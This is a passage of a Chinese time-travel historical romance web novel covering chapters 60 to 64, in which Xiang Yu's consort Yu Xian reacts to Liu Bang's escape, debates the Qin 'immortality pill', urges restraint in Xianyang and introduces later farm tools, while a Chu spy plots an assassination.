刘邦手臂中箭,血滴滴答答的往下流,浑身疼得厉害,却不敢回头,进了山中,他便寻了一处隐蔽的地方藏了起来。 韩信在小路埋伏,黎晟则在大路埋伏。 她见迟迟没有动静,便派人去打听情况,很快便得知韩信与刘邦相遇的消息。 黎晟利落道:“前去支援。” 韩信被樊哙拼死挡住了半刻,等拿下樊哙夏侯婴等人,刘邦进了山林,早就不见了踪影。 只能让人搜山。 等黎晟来时,询问:“沛公人呢?” 韩信冷漠道:“进山了。” 刘邦是真的受到了惊吓,他躲在一处灌木丛中,楚军很多次从他身边路过,却都没有发现他。 甚至有一次,韩信便站在他藏身之地两步的距离,目光似乎已经落在了他的身上,却被一个士兵叫住,往另一个方向走了。 可把刘邦给吓得半死。 他抹了抹额头上的冷汗,只觉得自己在鬼门关走了一趟。 在营帐中。 韩信派来的士兵来报。 范增立即询问:“怎么样了?” 士兵:“沛公进了骊山,没了踪影,原本我们在搜山,霸上却来了援兵。” 范增一脸疑惑:“两千精兵,都奈何不了几个人?” 士兵羞愧地垂下了脑袋。 项羽解围:“沛公身边的樊哙,是位以一敌百的勇士,杀不了那刘季,也不奇怪。” 范增拍着大腿:“完了完了,若是等他逃了回去,以后夺你天下的,必然是他。” 项羽格外淡定:“要是这天下他能坐,我便等着他来夺。” 范增感觉到脑袋疼,却知道怪不得谁,是这刘邦太滑溜了。 项羽转头看向了虞苋。 女郎叹了一口气。 她努力过了,却杀不死刘邦,或许这都是命。 项羽道:“你看起来毫不意外?” 虞苋端起酒小酌:“派去了两千精兵都杀不死刘邦,说明他此时命不该绝。” 若是能这么轻易的将刘邦杀死,之后就没有了大汉,历史就将被完全改写。 天命所归。 这四个字看来不是谁都能扛起来,刘邦便是这个时代的天命之子。 项羽轻嗤一声:“那就当他命不该绝吧。” 刘邦被援军救回霸上时,伤口的血已经结痂,脸色特别的白。 回去之后,他先是召来医工处理手臂的伤口,再派人召集军中所有的将领前来营中之中。 见到营中的众将士,沛公声音哽咽道:“我前去鸿门赴宴,项王却要杀我,我提前离席从 小路回来,却在路上遇到了伏兵。” 他声音更是悲愤:“夏侯婴和樊哙为了救我,在我身前挡住了弓箭,阻止伏兵追击,想必已经凶多吉少了。” 军中立即有将士愤怒道:“沛公亦是有功之臣,项王竟然敢对你痛下杀手,不怕天下人唾沫喷死吗?” 刘邦道:“项王以为我必死无疑,已经告诉我,究竟是谁告的密,你们都是跟着我出生入死的兄弟,念及旧情,自己向我坦白者,我可饶恕其妻儿,若是想要逃跑……” 他环视周围,语气骤然压低:“则夷三族。” 话落之后,刘邦不放过任何人脸上的细微表情。 随后。 他目光锁定了一人。 韩信与黎晟将将樊哙和夏侯婴捆了回来,交给虞苋处置,并向她请罪。 虞苋喝了些酒,有些乏了,便他们先将二人先关起来,其余的事情待到明日再说。 她沐浴之后,摊在床上,又忍不住叹了一口气。 刘邦不死。 会死的便是她和项羽。 想到这里,虞苋捂脸,在床上滚了两下。 然后她翻身起床,赤脚走到案几旁边,将装有长生药的瓷瓶打开。 项羽正好走了进来,见虞苋手指拨弄药丸,笑道:“你不是对长生药不感兴趣的吗?” “原本是不感兴趣的,现下感兴趣了。” “哦?” 虞苋说道:“不如明日找秦王子婴来问问,此药丸究竟是怎么一回事,那些死囚吃了长生药之后又是什么情况,为何后来嬴政和胡亥竟然也服用了这长生药。” 除非秦朝的两位帝王服用长生药是假的,不然实在是不太符合常识逻辑。 项羽坐到了女郎的身边,警告道:“你当个装饰品看看便罢了,千万别吃,我还不想为你收尸。” “将军为何笃定,吃了此药,我就会死呢?” 他嗤笑道:“沛公说,此长生药为天外陨石炼制而成,而铜铁亦是从石头中炼制出来的。” “铜铁吃了会死人,此药吃了自然也会死人。” 虞苋立即小鸡啄米的点头:“有道理有道理。” 这人还挺聪明的嘛。 她道:“那我把此药留着,若是将来大王被沛公打败了,我就吃了这药,吞金而死,随了将军去了。” 项羽无语:“你怎么和亚父一样,觉得刘邦会是取我江山之人?” 虞苋沉默了一会儿,忍不住叹息道:“他的确没死,不是吗?” 她知道韩信是历史上的兵仙,用兵如神,这才派韩信去埋伏刘邦。 可是兵仙对上天命之子,竟也失败了。 项羽见她一脸严肃,忍不住闷笑道:“若是有那一天,我陪你一起吃了此药。” “我是说真的。” “我也是说真的。” 虞苋气道:“我只求真到了那时候,你不要抱着我的头逃命,直接一把火将我烧成灰烬就好了。” 若是死后人有灵魂,骨灰飞到哪里,灵魂就能去到哪里,她便不会被困在一方世界了。 项羽说:“别想有的没的,赶紧睡觉吧。” 说着他便将药丸装了回去。 虞苋凑上去,哼哼道:“你今天差点将亚父气晕了,你还有心情睡觉呢?” 狗男人眯着眼睛上下打量虞苋,伸手直接按灭烛台上的蜡烛,说道:“我不仅有心情睡觉,我还有心情将你睡了。” 她无语:“粗俗。” 项羽直接将她凌空抱起,走到了床边,冷笑道:“你不就是喜欢我的粗俗吗?” 虞苋否认:“我没有我不是你胡说。” 狗男人轻嗤:“是吗?” 60-70 第61章 第61章“你倒是看得起他。”…… 就不承认喜欢。 怎么的,咬死她啊? 虞苋见这狗男人一脸轻松,似乎将刘邦放走压根不算个事一样,心中快郁闷死了。 她还有多少好日子可以活呢? 秦朝已经灭亡了,秦王宗室也被胡亥杀得差不多了,气数已尽。 女郎还是赶紧召许负入咸阳,看看她能不能想到办法让自己穿越回去吧。 项羽见虞苋手抵在他的胸口,夜色中,睫毛扇合,询问道:“还在生闷气?” 那倒不是。 是想怎么穿回现代。 想溜了呢。 见狗男人揉着她腰窝,在床上极为的讨好人,让女郎心中有些心虚。 才遇到一点点困难,就想要逃跑,是不是不太好? 就算刘邦不死,却并不代表项羽一定会死啊,那原本被坑杀的二十万大军,不也在她的蝴蝶下活了下来了吗? 一定还有别的办法。 虞苋忍不住双脚缠着项羽的劲腰,双手搂住狗男人的脖颈,将自己的全全部部都贴在男人的身上。 他的身上很烫。 虞苋是真的舍不得这人死,很想很想和他一直在一起。 完蛋了。 她是不是彻底沦陷了。 女郎眼泪汪汪:“大王,你手臂别那么用力,你想勒死我吗?” 项羽闷笑:“那你在上面。” 他将虞苋提到了身上,让女郎坐在上面,双手抵着他的胸口:“这样行了吗?” 颠簸了两下。 虞苋赶紧俯身,想要逃离,又被狗男人按了下去。 他说:“坐好。” 虞苋浑身一僵,缓和了一下,伸手去掐男人胳膊上的肉。 指甲只捏了一点,力气却很大。 项羽气道:“你折磨人的手段倒是很多啊。” 虞苋抿嘴偷笑:“就一般般吧。” “你真当我是夸你?” “不是吗?” 两人相互玩闹了一会儿,女郎便被狗男人按在了身下。 项羽浑身出了汗,正汇聚在了他的下巴,他此时的眼神十分有侵略性,正爱不释手的揉着她的身体。 她又喜欢,又觉得心口酸胀。 虞苋埋头在男人怀中,闷声闷气的道:“大王,有一件事我想事先和你说一下。” “嗯?”他声音暗哑,“什么事?” 她说道:“进入咸阳之后,要约束好手下的将士,不要伤及城中的百姓。” 项羽皱眉。 女郎继续道:“沛公是怎么做的,还请你跟着照做。” 她道:“刘邦不取咸阳城中百姓分毫,可不是为了替大王保护财物,而是想要收拢秦地的民心。” 项羽闻言道:“你倒是看得起他。” 一个草莽出身之人,天下诸侯真能服气他坐上高位? 虞苋道:“大王只看到了他身边参乘的勇猛,难道看不出刘邦的胆气吗?” 她叹了一口气:“明知道你想要杀他,却还是前来赴宴,这天下可没有几人能做到。” 项羽沉吟:“这倒是。” 女郎掰正他的脸,一字一顿道:“反正你要听我的,一定要约束好手下的诸侯,进城之后决不能让他们放火行凶。” 项羽犹豫。 虞苋提醒道:“你别忘记了,今日打赌,你可是赌输了的。” “你要为秦人用掉这个条件。” “对。” 她闷声闷气道:“我希望我的夫君是一个大英雄,而不是一个残暴的君王。” 项羽无语:“你是在说我残暴?” “你现在还没有变得很残暴。”虞苋说,“作为你的夫人,我有必要规劝你。” 项羽捧着她的小脸亲了亲,哼了两声:“夫人,你倒是还挺尽责尽职。” 虞苋傲娇:“那是当然。” 他爱死她这小模样了,忍不住道:“不说别的了,继续?” 女郎对于此事向来是从心的。 她抿嘴偷笑:“继续就继续。” 翌日。 天却下起了雨,风呼啸,击落了枯木枝头上刚发芽的绿叶。 虞苋起来没多久,士兵便前来,说韩信求见。 她便请人进来。 韩信单膝跪地,沉声说道:“是属下办事不利,请夫人责罚。” “无碍。”虞苋让他起来,“起来吧,这怪不得你。” 天命难为。 即便是虞苋成长的年代早就破四旧,让人拒绝迷信,可是刘邦逃过此劫,她的脑子里也只剩下了“命运”二字。 女郎不再纠结此事。 她询问:“听说你抓回了沛公身边的樊哙和夏侯婴?” 韩信点头:“是的。” 他道:“夫人该如何处置他们?” “听说这二人都是跟着沛公起义的弟兄,我总不能将人杀了。”虞苋说完,笑了一下,“放心,待会就会有人来为他们说情。” 韩信又道:“可要给他们寻找医工?” 虞苋闻言颔首:“去吧。” 就在韩信离开没多久,果真又有人前来求见。 不是别人。 正是项羽的叔父,二五仔项伯。 既然是长辈,虞苋在对方面前,自然得恭恭敬敬的请人上座。 项伯知道虞苋如今在军中的地位,倒是没有跟她摆长辈的普,只是询问道:“小虞,那樊哙和夏侯婴,你打算如何处置啊?” 虞苋疑惑:“叔父觉得应该如何处置?” 他道:“他们毕竟是随沛公一起起义的弟兄,此时阿羽还未跟沛公撕破脸,倘若将人杀了,反倒不美了。” 虞苋点头。 项伯又道:“不然将人放了吧?” 她笑了:“叔父昨晚也听到亚父之言,取大王江山的只会是沛公,若是直接将他们放了,如此猛将,怕是将来要给大王惹麻烦的啊。” 项伯只好道:“你心中可有主意。” 虞苋说道:“还是先将他们留下来做客吧。” 她一脸天真地问:“叔父觉得怎么样?” 项伯本就是来试探虞苋要怎么处置樊哙和夏侯婴的,此时见虞苋对他们并无杀心,于是道:“甚好。” 从营帐出来,他便派人去告知张良,此二人还活着的消息。 昨日回到霸王之后,一整个晚上,刘邦都彻夜难眠。 直到项伯传来消息,他得知随行的弟兄只是被韩信抓了,并未被杀,他终于是松了一口气。 他虽然生性薄凉,但是面对誓死效忠他的兄弟,他亦会动容。 如今首要该想的,是如何将二人救回来。 难啊。 怕是要大出血来换人。 有点肉疼。 第62章 第62章“又骂我?” 鸿门。 项羽听了虞苋在床上吹的耳边风之后,心中还是有些不愿意放弃这一块肥肉。 在这狗男人的心里,咸阳始终不是他的地盘,宁愿将里面的东西搜刮一空带回江东,让自己人富裕,也不愿意便宜了其他人。 更何况,打进关中的不是他,他成不了名正言顺的关中王,心中始终有疙瘩。 不过。 他还知道倘若自己真不干人事,虞苋一定会冷嘲热讽的折辱自己。 说不定还会与他离心。 想来想去,项羽还是找来了范增商议此事究竟该怎么办,亚父闻言,亦觉得虞苋的提议甚好。 他沉吟道:“你是战场上的王者,没有人能打败你,因此你得到了天下。” “可得到天下容易,怎么治理江山社稷,让别人不去推翻你的统治,却又是另外一回事了。” “如今秦已灭亡,不再需要屠城以震士气,此时最紧要的,是要安抚民心。” 项羽只好退了一步:“可以不伤害城中的普通民众,不过城中的豪绅,绝不能放过。” 范增没再反对。 鸿门宴之后,项羽便带着诸侯们进了咸阳。 对于城中的百姓,他的确是秋毫不犯,倘若是城中的豪绅大户,绝不废话,直接抄家。 胆敢反抗者夷三族。 他的手段铁血,让人胆寒。 不过他担心虞苋不适,行事之时都是瞒着她的。 当然,这种事情其实瞒不住虞苋,毕竟现在的她不是刚穿越来时的小可怜,有的是人想为她办事。 不过。 她对于项羽的举动并不意外。 如果换做是她自己,亦会想办法让城内的豪绅出血。 毕竟项羽也给了他们机会,交了钱就可以不死,只要识趣也是没有性命之忧的。 要钱还是要命看他们自己。 虞苋跟着项羽进了咸阳后,到了阿房宫,便让人去传秦王子婴。 不对。 此时对方已经不是秦王了,刘邦入咸阳之后,便将子婴封为相国。 说起秦朝,众人都知道是秦二世而亡,忽略了还有子婴此人。 或许是胡亥实在是过于残暴了,更适合亡国之君的名头。 虞苋嘀嘀咕咕的瞎想。 等待子婴前来的间隙,女郎站在阁楼,眺望这座历史上被焚毁于一场大火的阿房宫。 它不是只有一座楼台一座宫殿,而是五步一楼十步一阁。 歌台舞殿,长桥弯廊,绿水芭蕉,延绵三百里。 此间景,让人看得眼花缭乱。 如此奢靡。 更别提里面的宝贝,是六国数代的积累,嬴政灭六国之后,便全部收剐来到了阿房宫中。 不过虞苋知道,里面最为珍贵的不是奇珍异宝,而是里面的藏书,还有百姓的户籍。 她突然想起来,里面诸子百家的经典,绝对不能被人损毁。 虞苋赶紧叫来韩信,让他将宫中的书籍,只要是有字的,都要让人统计好。 等安排下去之后,子婴便来了。 虞苋请他落座。 子婴恭敬道:“夫人召我来,是有什么事?” 她并没有打哑谜,而是直接询问:“沛公前几日前来给大王献上了长生药,据说是你给他的,可有此事?” “正是。” “你跟沛公说,秦王嬴政和二世胡亥,都服用过长生药,是吗?” “吾不敢隐瞒,所说皆属实。” 虞苋皱眉:“可他们吃了长生药,并未见到他们得以长生,反而长眠于地下,又如何能称得上长生药?” 子婴回答:“回夫人,此物长生在灵魂而非肉。体,服用此药之后,灵魂就会从肉。体脱离,兵解飞天。” 她甚是无语:“也就是说,吃了就会死?” 这还真是毒药啊。 “非也。” “吃了此药之后,人的灵魂会脱离身体,变成金光飞升上天。” 虞苋不太信:“真的假的?” 子婴道:“在秦宫中曾伺候过秦王之人,都曾经亲眼所见。” “夫人可叫人来问问。” 变成金光飞天,给她道具,她也能做得出来。 哄人的把戏罢了。 虞苋摆手:“许是什么幻术,将你们给哄骗了吧。” 难怪不仅是嬴政吃了长生药,便是嬴政死后,胡亥也还敢吃它,敢情是真以为吃了能灵魂不灭呢。 太扯了。 看来这长生药跟穿越之事无关,虞苋也就不感兴趣了。 她放下了心中的疑惑,没有为难子婴,让他先回去。 接下来的好几天,虞苋都在让人整理藏书,整理关于奇闻异事的典籍。 比如鬼怪; 比如各地的灵异传说; 又比如一个人突然从某地到某地这样的怪闻等等。 此时的人并不知道什么是穿越,或许会将其认为是鬼怪作祟将其记录下来,她说不定能从这些记载中找到一些回去的线索。 项羽见女郎如此关注怪事,便是晚上还要点灯翻看书籍,都没有时间和他睡觉。 他拉着一张脸:“你不会被人迷惑了,也想求长生之道吧?” 虞苋看得入迷,没听见。 项羽气道:“我现在就去把子婴给砍了。” 此人将长生药拿出来,不过是想让诸侯为了长生药相斗,以此为秦室报仇。 他或许没有想到,刘邦竟会直接将长生药献出,没有如了他的愿。 而这女郎原本对长生不感兴趣,不过是见了子婴一面,竟也开始研究起神神叨叨的东西来了。 绝对是被人带坏的。 虞苋被他这话搞蒙了:“你砍他做什么?” 项羽 走到女郎面前,冷声反问:“是不是他蛊惑你寻求长生?” 狗男人仗着自己身量高,双手抱胸,居高临下的睥睨她。 可恶的是,这人身上的气势很足,眼睛锐利,严肃的表情似乎是准备打破砂锅问到底。 她咬唇:“我对长生没有兴趣。” 狗男人语气依旧很冷:“既然如此,你让人收集神神叨叨的东西做什么?” 项羽当然知道女郎最近做了什么,心中始终感觉到一丝不安。 是害怕失去。 他皱眉深思。 许是自己怕她被方士给忽悠了,为求长生,吃了什么不该吃的没了命…… 而虞苋闻言却心虚了。 她下意识垂眸,不敢去看项羽的眼睛。 这狗男人现在对她还上头,可不能让他知道自己想要借他的力量寻求回家的办法。 不然他肯定会发大疯。 若是没有她的蝴蝶,对方可是坑杀二十万降卒,又将咸阳洗劫一空,一把火烧了阿房宫的狠角色。 嘶—— 绝对不能让这狗男人知道自己的打算。 否则后果无法估量啊。 项羽却皱眉:“你心虚什么?” 虞苋轻咳了两声,开始撒谎了:“大王,你还记得上次你陪我去祭奠我的家人时,在长江遇见的龙吸水吗?” “嗯。” 他颔首。 女郎继续道:“那天的奇观让我格外震撼,我很好奇,江中之水为何能成水柱飞到天上呢?” “还有,那长生药为何也能浮在空中。”她指着项羽的眼睛:“而且你有些时候,眼睛里会出现重瞳,也是很少见呢。” “所以,我便想让人整理一下阿房宫中的典籍,看看这世上还有多少奇闻怪事。” 项羽皱眉:“仅是如此?” 虞苋朝他勾勾手,就像是招呼小狗一样,示意他弯腰。 她点头:“对的。” 项羽仔细打量了女郎几眼,下意识感觉她还在撒谎,却还是诚实的坐在了她身边。 狗男人警告:“不要试图欺骗我。” 刚说了假话的虞苋…… 她:“我对长生真没有意思的。” 这话是真的。 虞苋抿嘴,冷哼道:“我的确好奇嬴政和胡亥为何临死前都吃了长生药,才会召来子婴询问。不过他告诉我,吃了长生药是会得到灵魂的长生,也就是说吃了它人就死了。” “我对这种毒药没兴趣。” 即便后来有伺候过秦王的宫婢,跟子婴一样信誓旦旦的说,亲眼看见了秦王化成金光飞到了天上,她还是不信是真的。 她也不想用死囚试药。 一看就是骗人的,没有必要。 项羽道:“你知道就好,以免被人诓骗了。” 虞苋将竹简收好,赶紧转移话题,免得说漏嘴自己的真实打算。 她直起腰,凑近对方,道:“对了,大王以后是留在咸阳,还是回到江东呢?” “你以为呢?” 虞苋反问:“你舍得如此奢侈的阿房宫拱手让人吗?” 项羽闻言嗤笑道:“阿房宫是在六国百姓的血肉上建立的,是罪恶的产物,就应该将其一把火给烧了。” 阿房宫中收藏的宝物,亦是从六国掠夺而来的,里面的一件件,都带着鲜血和伤痛。 他们看着阿房宫,就想到了被秦人奴役的日子。 秦人奢靡建造宫殿之时,穷奢极恶之时,六国的百姓连饭都吃不起,饿殍千里。 岂能不恨呢? 虞苋从项羽的眼中,看到了浓烈的怒火,她就突然理解了他为何会一把火烧了阿房宫。 对于后世而言,烧掉的是春秋战国的文化瑰宝,而对于项羽而言,烧掉的是仇恨。 因为阿房宫里的宝物,是嬴政灭六国的战利品。 对于楚人,是耻辱。 立场不同,行为便有了不同的解释。 她抿嘴。 不管怎么样,烧掉阿房宫都是不对的。 虞苋没有和他纠结这个问题,要烧早就一把火烧了,于是询问:“所以,你是决定回江东吗?” 他反问:“你这样问我,似乎不愿回江东?” “没错。”她点头,“楚怀王还在彭城呢。” 项羽嘲笑:“他现在不足为惧。” 虞苋翻了一个白眼:“你是不是傻。” 都说项羽是个政治小白,现在看来还真是这样。 狗男人如今在外面威风得很,身上的威势让诸侯跪地膝行,都不敢抬头看他,更别说有谁敢骂他了。 他捏住女郎的下巴:“又骂我?” 项羽气笑了:“前几日还跟我认怂,现在又支棱起来了。” 对方虽然脸上表情严肃,但是手却没有用力,女郎还能看见狗男人眼底的笑意。 虞苋可不怕。 她轻哼道:“你现在回去江东,即便众人都知道这江山社稷做主的是你,可在身份上,你始终要被楚怀王压一头。” “可你愿意给他压你一头吗?若是不愿意,你又要怎么处理两人的关系?直接杀了?你别忘了,他可是诸侯和叔父共同推举出来的楚王,杀了他,则失了大义,诸侯嘴上不说,心里可就不知道怎么想了。” 第63章 第63章“项羽武力第一,你凭什…… 说得有些道理。 项羽闷笑道:“你跟我扯这么多,不过是为了说服我留在咸阳。” “没错。”虞苋很干脆的承认了,说道,“可是我有说错话了吗?” 留在咸阳,不一定最后能赢了刘邦,占据关中,则的确掌握了主动。 狗男人有些不情愿:“关中可不是我打下来的,当关中王亦不占据大义。” 女郎沉吟:“不如你先试探让人沛公当关中王,若是他识趣,定会推辞,到时候大王便是名正言顺的关中王了。” “若是他不识趣呢?” “大王,他没得选,此时只能识趣。” 项羽原本只是试探的问问,却没想到虞苋竟随口就能给出解决方案,不亚于军中的顶尖谋士。 他更好奇了,女郎究竟是生活在怎样的环境下,才能生得一双洞察世事的本领。 狗男人瞥她一眼:“你这是干政。” 虞苋:“……” 她低下了头。 这人果然还是大男子主义的,自己哔哔两句不行么,又没有强迫他做决定,算什么干政。 不说了。 项羽冷着一张脸,捏着她的脸颊:“说对不起。” 不让提意见就算了,还让她为此道歉。 什么人啊。 虞苋深吸一口气,看着他皱眉,不想和他再次做纠结,发出很小的气音:“对不起。” 项羽心里舒坦了:“下次还敢朝我翻白眼,骂我,就不是只让你口头道歉这么简单了。” 作为一个男人,里子没有了,面子还想装一装的。 虞苋:“……” 原来要她道歉的是这个啊。 她清了清嗓子,重新说了一句:“对不起,我错了。” 项羽微微挑眉,“嗯”了一声。 真乖。 他继续道:“至于干政这件事,你这样干也不是一天两天了,提出的意见倒还是能听听。” 虞苋 :“哦。” 冷漠脸。 项羽说道:“往后商议政事,你便与我一起去吧。” 嗯? 刚才还在说她干政呢。 说得谁乐意去似的,不稀罕了。 女郎眨巴眨巴眼睛:“此时连大王都说我干政了,还不知道跟在你身边的诸侯将军们会怎么想,还是算了吧。” 阴阳怪气。 项羽道:“是否留在咸阳,需与众位将军商议。” 虞苋拿眼睛睨他。 这狗男人说道:“除了你,还有人跟我提议应留在咸阳,只是我还在考虑中。” 的确。 项羽历史上拿下关中之后,纵容手下在城中烧杀抢掠,阿房宫的大火烧了三个月,当时有人提及让他留在咸阳,他看见被焚毁的一座城,便拒绝了,坚决的回到了江东。 此时阿房宫未毁,历史又一次改变了。 或许项羽之后的决策会因为蝴蝶而改变。 虞苋眯眼,假惺惺道:“不管怎么样,我都会支持大王的。” 项羽看着眼前的女郎,这些日子风风雨雨,却看起来依旧香香软软的。 说话时,眼珠子圆溜溜的乱转,很是灵动。 他拿起案几上的竹简,把话绕了回来:“这些东西你看可以,不要大搞巫蛊之术,免得让人人心惶惶。” 虞苋老实点头:“我不搞巫蛊之术。” 从她穿越来的日子,便已经看过了许多次祭祀,可见此时之人有多迷信。 项羽又道:“也不准不睡觉,晚上点灯看。” 他还没有忘记自己最开始是因为什么事情而生气的。 女郎抬头,看见对方冷峻的脸。 狗男人十分淡定:“熬夜对身体不好。” 呵呵。 她倒是知道这人是打什么主意了。 虞苋觉得有些好笑,却还是将头埋在他的怀中,软乎乎道:“好的,我知道了。” 现下项羽站在了权力的顶端,自己自然也能借到他的光,若是顺利,许是有个一年半载就能找到回去的办法了。 到时候和人分开了,身边就没有了对方的体温。 她还有点舍不得,不如现下让他多陪陪自己睡觉。 至于就算借助对方的权势可能也找不到的回去的方法…… 算了。 还是不要去想这种晦气的事情。 项羽见她乖巧得很,心中好笑,搂着她的细腰:“你倒是很识趣。” 他不知道女郎乖巧的背后,究竟是什么想法,脸上还冷着,心里却乐开了花。 此时项羽还不知道,眼前的女人已经想着如何离开他,很久很久以后,他才反应过来,现在的自己究竟有多么的愚蠢。 就像是掺了砒霜的蜜罐,吃着是甜的,最后疼会绵延到五脏六腑。 红帐翻滚,又是一夜。 河内温县。 泥房中,许负正收拾行李,准备前往咸阳。 外面来请她的,正是黎晟和其弟黎万里。 许负看着外面的二十骑,叹了一口气:“你们不必担心我跑路,我会乖乖跟你们前往咸阳的。” 黎晟冷笑:“你就像只泥鳅一样,原本前日便可启程,你却诓骗我,自己偷偷想要坐船离开,若非是我将你逮到,你就已经跑了。” 许负尴尬的摸了摸鼻子。 她继续道:“当初是你给了夫人扳指,如今我拿了信物前来,你却要离开,究竟是何意?” 许负有点怵黎晟,只敢小声吐槽:“明明我给那女郎扳指时,是希望她来温县,我又没说自己要去咸阳。” 上次被召去咸阳,是嬴政还在位期间。 她已看出秦即将灭亡,进入咸阳之后装疯卖傻,这才被允许离开。 若是之前,许负是能看出项氏长久不了的,可如今却出现了变数。 天象上依旧是二皇争霸之相,究竟谁胜谁负,却变得越来越不明朗。 原本她坐船是可以走掉的,想了想,又没走,她准备会一会此“变数”。 就算不想去咸阳,也只能走一趟了。 黎晟冷着一张脸不说话。 许负道:“放心,我真不会跑。” 彭城。 熊心时刻在关注着项羽的动向,得知对方已经进入了咸阳,他询问打探消息的阿离:“咸阳如今是什么情况?” 阿离跪地回禀:“项羽进入关中之后,约束了军中的将士,只对城中的贵族出手,且只要交出家财,也没有伤及他们的性命。” 少年冷笑:“此子野心极大。” 当初项梁身死,他要挟项羽交出军权,对方表面应允,实际上早就心生怨恨了。 熊心不是什么蠢人,知道此时诸侯们都听从项羽的号令,就连打入关中的刘季都要避其锋芒,若是让他回到江东,江东便再也没有自己的容身之处。 他只有一个结果。 身首异处。 阿离闻言垂下了头:“王上,请允许我前往咸阳刺杀项羽。” 少年笑了:“项羽武力第一,你凭什么去刺杀他?” 她深吸一口气,继续道:“我可以离间他与虞夫人,让虞夫人动手杀了项羽。” 熊心摆手:“别想用你在阴沟臭水里学的下三滥手段,到时候不仅自取其辱,还丢了吾的脸面。” 阿离面色难看:“阿离不敢。” 她又有些不死心,继续说道:“王上可还记得虞夫人身边的黎晟?” 当初阿离便是假装成对方的妹妹黎芳华,这才混到了虞夫人身边,用药将人药倒带了出来。 熊心颔首:“说。” 阿离垂眸解释道:“当初黎芳华和我一起被卖成了奴隶,到了王上手下,因此我才会知道黎晟的妹妹手上有月牙胎记,从而接近于她。” “只要王上允许我前往咸阳刺杀项羽,我会以此为突破口,摸到项羽身边行刺。” 说起黎芳华…… 那还真是一个蠢人。 阿离早已忘记了她的长相,只记得对方性子极其怯懦,挨的鞭子却也是最多的。 当初她手上即便只有一点吃食,还是将掺杂着麦糠的饼子分了一半给奄奄一息的自己。 为何奄奄一息呢? 似乎是妄图逃跑,被抓回来,狠狠地打了一顿。 而最后。 黎芳华却是她杀的第一个人,血挂在手上,红艳艳的,怎么都清理不干净。 阿离陷入回忆里,整个人有些恍惚。 熊心道:“准了。” 此话将她拉了出来,她立即俯身:“属下绝不会让王上失望。” 少年摆了摆手。 其实他对此不抱什么希望,要是项羽这么容易刺杀,他早就这么干了。 如今他已经能感觉,自己的生命快要走到尽头,答应阿离刺杀项羽,不过心存一丝侥幸罢了。 万一呢。 不过还得想办法,阻止项羽回江东。 等阿离走后,武伯从一旁走了出来。 熊心吩咐道:“你将吾亲笔写的信,走一趟咸阳,想办法说服诸侯,让项羽留在咸阳。” 武伯稽首:“喏。” 少年头上隐隐有了一两根白发,眼神极其的阴冷:“此事吾能教给你办,能不能活,就在此一举了。” 他点头:“属下明白。” 在咸阳的虞苋,除了想办法让项羽留下来和研究怎么回家之外,还有闲心干另外一件事。 春耕了。 她得看看如今的农具究竟是什么样子的,顺便将后世依旧沿用的农具弄出来。 天大地大,吃饭最大。 而在农耕社会,大多人都离不开地里刨食。 如今中原就几千万人口,地广人稀,只要出现更好用的农具提高种地效率,也就不担心粮食不够吃的问题了。 只要人吃饱了饭,谁还会想着反她呢? 民为水。 水能载舟,亦能覆舟。 虞苋若是穿不回去,还是得想好退路,总之项羽不能这么轻易被推翻。 多活几年是几年嘛。 第64章 第64章“大秦已经亡了,世代基…… 当然。 交趾有双季稻,一年能种植两季,亦可以提升粮食的产量。 不过要找到种子,许是要点时间。 等到时局安稳了,倒是可以让人去寻寻看。 虞苋的画技不好,跟阿房宫里的工匠大致形容了一下曲辕犁水车等农具的样式之后,匠人就能将其制作出来拿到她的面前。 二月,咸阳的暖风吹拂在脸上,还有些凉意。 春季多雨,气候湿润。 虞苋站在阁楼上,双手叉腰,眺望着眼前的城池。 行色匆匆的宫婢,巡楼的士兵,还有乱窜的小动物们。 从高处往下看,的确有“一览众山小”的意境,还有些飘忽感。 站在阁楼上的人,看到的永远是壮美的河山,而身处在这片土地上的人,依旧过得很苦很苦。 仗似乎是打完了,可只要上位者还有自己的心思,战争随时都可能爆发。 苦难不绝。 项羽走在回廊上,抬头便看见的女郎穿得单薄,风吹来,墨黑的头发和身上的玄衣融在一起,仿若是传说中的玄鸟,展翅欲飞。 他往阁楼上走。 “想什么这么入神?” 虞苋回神,朝着项羽行了一礼:“大王。” “你今日倒是规矩了不少。”他走到女郎身侧,“听说你最近在鼓捣着新农具?” “没错,正找你呢。” 打好的农具正在一侧放着,虞苋扬了扬下巴,示意农具的位置。 项羽拿起一个铲子,底部为铁,一寸长,高三寸,往上是中空的,用木头嵌在里面,大致有半人高,微微弯曲,在木头上有装有把手,下面镶了脚踩的小木头,看起来怪模怪样的。 “这是做什么用的?” 在春秋末,秦国人便已经使用铁器作为农具,出现了铁锄、铁犁等。 不过此物倒是和他见过的农具都不一样。 虞苋说道:“这个是用来翻土的,你看此物与地面接触不多,只有一寸,两只手扶在把手上,脚踩在旁边的小木头上,会让整个身体发力,就能轻松将坚硬的土层轻易破开,翻土会比锄头要省力。” 毕竟锄头锄地,发力的只有两只手,劳作时还要弯腰,时间久了人就会很累,效率也不高。 项羽又指着曲辕犁道:“此物呢?” “也是破土的。”她清了清嗓子,“它叫做曲辕犁,与其他铁犁相比,不需要掉头就能直接绕回去犁地,能更加的节省力气和耕地的时间。” 除此之外,虞苋还让将匠人制作出了龙骨水车,能够将地处的水引入高处灌溉。 用来割草的割刀。 …… 等等。 虞苋是将自己能想到的农具,都让匠人给制作了出来。 毕竟跟着项羽也算是暂时站在了权利巅峰了,资源享之不尽,避免麻烦,自然是将自己能想到全部都拿出来了。 项羽道:“这都是你从书上学来的?” “对啊。” 女郎脸不红心不跳。 她建议道:“大王,不如你召集大臣们前来商议,寻出适合的农具将其推广出去,帮助农人春耕,你觉得怎么样?” 项羽点点头:“想法不错。” “是吧。” 虞苋眨眼:“那就这样决定了。” 项羽一把手搂着她的腰,将人带入怀里,脸上带了一个笑:“你现在都会替我做主了?” 虞苋闻言一愣。 她委屈道:“刚才你也说主意不错的,我才没有替你做主呢。” 虞苋眼神懵懂,脸上似有些委屈。 对哦。 人家可是项王,到底要不要这样做,得从人家的口中说出来,她先开口就成了越权,人家不乐意了呗。 虞苋从狗男人的怀中挣脱,语气瞬间冷了下来:“既然大王心中不悦,下次我就不多事了。” 这凶巴巴的样子。 项羽闷笑:“我错了,别生气。” 虞苋:“我没有生气。” 狗男人戳了戳她的脸,软乎乎的,又一把将她搂在怀中。 此时一束日光破开乌云,正好打在了阁楼上。 项羽道:“当年楚国国灭,项氏衰落,我跟着叔父四处游历,当个游侠,见过很多饿死的人。” “即便我不懂如何种地,却也知道粮食不是凭空出现的,若有农具能够节省气力,农人便有时间开荒,种出更多的粮食。” 虞苋仰头,微微挑眉。 他的想法竟然和自己想的一样。 